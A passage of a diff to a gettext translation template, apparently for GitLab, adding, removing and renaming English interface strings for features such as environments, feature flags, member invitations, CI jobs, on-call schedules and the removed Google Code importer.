msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
